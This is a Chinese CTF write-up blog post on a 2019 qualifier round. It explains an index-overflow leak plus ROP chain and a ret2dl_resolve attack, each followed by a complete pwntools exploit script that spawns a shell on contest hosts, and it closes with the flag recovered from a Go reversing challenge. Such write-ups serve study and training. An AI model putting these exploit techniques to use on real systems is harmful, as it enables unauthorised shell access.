avatar

CTF-2019国赛预选赛

我太菜了,只写出两个pwn和re,都是签到水平

pwn篇

0x01 easypwn

yourpwn
将程序拖入IDA

Main函数

sub_B35()

首先这是一个明显的下标溢出漏洞,而且在printf(“now value(hex) %x\n”, (unsigned int)v4[v1]);输出栈中的数据,一个想法就是先溢出libc版本,然后构造ROP执行system(“/bin/sh\x00”)
但是我们用checksec检查一下保护发现,保护全部开启了,包括pie,这意味着我们的所有地址都是偏移地址,具体地址是不知道的。

但是我们可以通过printf(“now value(hex) %x\n”, (unsigned int)v4[v1]);,来获得ret处的地址,从而得到基址,然后得到基址后,在根据偏移量算出所有plt和函数的地址,我们继续再ret下的内存地址中写入puts的plt地址和__libc_start_main的值,这样就可以通过puts的plt来输出__libc_start_main的值由于libc文件可以通过后3位不变的量来确定,由于for循环有40次,所以一定要输入满40次才可以进入ROP,通过下述代码可以得到__libc_start_main的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level = "debug"
#sh = process("./pwn")
sh = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
elf = ELF("pwn")
sh.sendline(p64(0x1))
sh.recv()
last = 0;
base_addr = 0;
for i in range(344,352):
sh.sendline(str(i))
s = sh.recvuntil("now value(hex) ")
s = sh.recv()
print s
s = s[:s.find('\n')]
s = s[-2:]
if(i==345):
last = (int(s,16)>>4)<<4
print s
base_addr += (int(s,16)<<(i-344)*8)
print base_addr
sh.sendline(str(int(s,16)))
sh.recv()
def write(offset,data):
sh.sendline(str(offset))
sh.recv()
sh.sendline(data)
sh.recv()
__libc_start_main = (0x202050 + ((base_addr>>12)<<12))
print hex(base_addr)
print hex(__libc_start_main)
p = 344;
write(344,"3")
write(345,str(last+0xd))
write(352,str(__libc_start_main % 0x100))
write(353,str((__libc_start_main>>8) % 0x100))
write(354,str((__libc_start_main>>16) % 0x100))
write(355,str((__libc_start_main>>24) % 0x100))
write(356,str((__libc_start_main>>32) % 0x100))
write(357,str((__libc_start_main>>40) % 0x100))
write(360,str("176"))
write(361,str(last+0x8))
write(362,str((base_addr>>16) % 0x100))
write(363,str((base_addr>>24) % 0x100))
write(364,str((base_addr>>32) % 0x100))
write(365,str((base_addr>>40) % 0x100))
for i in range(1,20):
sh.sendline("1")
sh.recv()
sh.sendline("2")
sh.recv()
sh.interactive()

执行结果:

得到__libc_start_main的值后我们进入https://libc.blukat.me/
来查询libc,只需要搜索__libc_start_main 740

然后选择第一个,如果不行可以换第二个第三个,但是根据具体的情况来说第一个就是正确的libc

所以根据已知的__libc_start_main的值,我们可以算出system和bin_sh
于是第一次构造rop只需要输出__libc_start_main的值,然后再返回到main函数,再构造rop跳转到libc空间执行system(“/bin/sh\x00”)
注意了因为这是一个64位程序,必须要跳到 pop edi ,ret的汇编指令上进行传参,我们可以通过ROPgadget --binary pwn –only “ret|pop”来查询,结果如下

接下来附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context.log_level = "debug"
sh = remote("1b190bf34e999d7f752a35fa9ee0d911.kr-lab.com",57856)
elf = ELF("pwn")
libc = ELF("libc6_2.23.so")
sh.sendline(p64(0x1))
sh.recv()
last = 0;
base_addr = 0;
for i in range(344,352):
sh.sendline(str(i))
s = sh.recvuntil("now value(hex) ")
s = sh.recv()
print s
s = s[:s.find('\n')]
s = s[-2:]
if(i==345):
last = (int(s,16)>>4)<<4
print s
base_addr += (int(s,16)<<(i-344)*8)
print base_addr
sh.sendline(str(int(s,16)))
sh.recv()
def write(offset,data):
sh.sendline(str(offset))
sh.recv()
sh.sendline(data)
sh.recv()
__libc_start_main = (0x202050 + ((base_addr>>12)<<12))
print hex(base_addr)
print hex(__libc_start_main)
p = 344;
write(344,"3")
write(345,str(last+0xd))
write(352,str(__libc_start_main % 0x100))
write(353,str((__libc_start_main>>8) % 0x100))
write(354,str((__libc_start_main>>16) % 0x100))
write(355,str((__libc_start_main>>24) % 0x100))
write(356,str((__libc_start_main>>32) % 0x100))
write(357,str((__libc_start_main>>40) % 0x100))
write(360,str("176"))
write(361,str(last+0x8))
write(362,str((base_addr>>16) % 0x100))
write(363,str((base_addr>>24) % 0x100))
write(364,str((base_addr>>32) % 0x100))
write(365,str((base_addr>>40) % 0x100))
write(368,str("101"))
write(369,str(last+0xA))
write(370,str((base_addr>>16) % 0x100))
write(371,str((base_addr>>24) % 0x100))
write(372,str((base_addr>>32) % 0x100))
write(373,str((base_addr>>40) % 0x100))
for i in range(1,14):
sh.sendline("1")
sh.recv()
sh.sendline("2")
sh.recv()
sh.recv()
sh.sendline("no")
_libc = u64(sh.recv(6)+"\x00\x00")
system_addr = _libc + 0x24c50 +0x1B
bin_sh = _libc + 0x16c617
print "[+] libc : " + hex(_libc)
print "[+] system_addr:" + hex(system_addr)
print "[+] bin_sh:" + hex(bin_sh)
sh.sendline("wjs")
p = 344;
for i in range(1,24):
write(0,"0")
write(344,"3")
write(345,str(last+0xd))
write(352,str(bin_sh % 0x100))
write(353,str((bin_sh>>8) % 0x100))
write(354,str((bin_sh>>16) % 0x100))
write(355,str((bin_sh>>24) % 0x100))
write(356,str((bin_sh>>32) % 0x100))
write(357,str((bin_sh>>40) % 0x100))
write(358,str((bin_sh>>48) % 0x100))
write(360,str(system_addr % 0x100))
write(361,str((system_addr>>8) % 0x100))
write(362,str((system_addr>>16) % 0x100))
write(363,str((system_addr>>24) % 0x100))
write(364,str((system_addr>>32) % 0x100))
write(365,str((system_addr>>40) % 0x100))
write(366,str((system_addr>>48) % 0x100))
sh.sendline("no")
print sh.recv()
sh.interactive()

执行结果如下

0x02 babypwn

babypwn
将程序导入IDA,发现没有put,也没有write,简单说就是没有输出的函数

所以这题考察dl_resolve
可以考虑使用roputils库方便拿到shell。
就是重定位符号表,因为第一次调用函数的时候,并不是直接跳转到libc空间中的函数,而是在这个函数被调用了,才去把这个函数在libc的地址放到GOT表中。接下来,会通过两次push,最后跳到libc的_dl_runtime_resolve去执行。_dl_runtime_resolve的目的,是根据push 的两个参数导出函数的地址,然后放到相应的GOT表,并且调用它。
作为攻击者我们需要做的就是控制reloc_arg从而使dl_runtime_resolve将函数重定位到我们能控制的地方。

溢出思路:将bss作为栈,将push的参数存在里面,且要注意控制leave和ebp,由于我们使用roputils库,可以不用过于考虑这些问题,因为roputils库可以自动生成ROP,我们只需要传入bss地址,还有溢出后ret的偏移,还有可以重复溢出的函数,就可以构造出我们需要的ROP,然后构造system函数,并将bss的binsh传入system便可以拿到shell

在0ctf比赛中出现过类似的题目,思路与这题类似
接下来附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#coding:utf-8
import sys
sys.path.append('./roputils')
import roputils
from pwn import *
from hashlib import sha256
fpath = './pwn'
offset = 44
readplt = 0x08048390
bss = 0x0804A040
vulFunc = 0x0804852D
p = remote('39.97.228.196',60005)
context.log_level = 'debug'
rop = roputils.ROP(fpath)
addr_bss = rop.section('.bss')
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
buf2 = '/bin/sh\0'
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
buf3 = 'A' * offset + rop.dl_resolve_call(addr_bss+20, addr_bss)# + 'a'*30
p.sendline(buf3)
def getReloc(elf, base):
jmprel = elf.dynamic('JMPREL')
relent = elf.dynamic('RELENT')
addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
return reloc_offset
plt0 = 0x080482F0
print 'plt0 = %r' %(rop.plt())
reloc_offset = getReloc(rop, addr_bss+20)
buf3 = 'A'*44+p32(plt0) + p32(reloc_offset) + p32(vulFunc) + p32(addr_bss)
p.interactive()

执行结果

reverse篇

0x01 easyGo
easyGo.rar
一开始用IDA直接调试,发现汇编跳来跳去,而且看不到ascii码,决定使用edb进行调试

F8步进直到0x42ab60出现崩溃,然后再0x42ab60步入看看

接着我们又在0x42abbd崩溃

于是我们直接重载程序,然后跳转到0x42abbd,并且步入

只要崩溃我们就重载然后跳转到该位置然后步入0x409950
慢慢单步,看到一些字符串

但是好像没有用
最后在下面的地址0x43c750卡死,但是不是崩溃

并且提示输出flag,那可能里面就存在输入文本和flag比较的过程

继续0x42c750卡死
重载程序,然后直接跳转到0x42c750
一直重复操作 0x42c7e0 0x42f810 0x42e750

一直到0x44f380

发现call rax,我们记录一下0x495150,然后直接跳过去

发现是循环直接在0x495168 F4运行到该位置

发现执行 call 0x4886b0时有输出但是没有卡死程序

然后又发现卡死,其实是叫我们输入flag

输入后提示错误
然后多按几次回车
突然发现可以继续单步,然后继续单步,发现flag

1
2
3
000000c0:0009c090|66 6c 61 67 7b 39 32 30 39 34 64 61 66 2d 33 33|flag{92094daf-33|
000000c0:0009c0a0|63 39 2d 34 33 31 65 2d 61 38 35 61 2d 38 62 66|c9-431e-a85a-8bf|
000000c0:0009c0b0|62 64 35 64 66 39 38 61 64 7d |bd5df98ad} |

flag{92094daf-33c9-431e-a85a-8bfbd5df98ad}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/04/24/CTF-2019%E5%9B%BD%E8%B5%9B%E9%A2%84%E9%80%89%E8%B5%9B/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论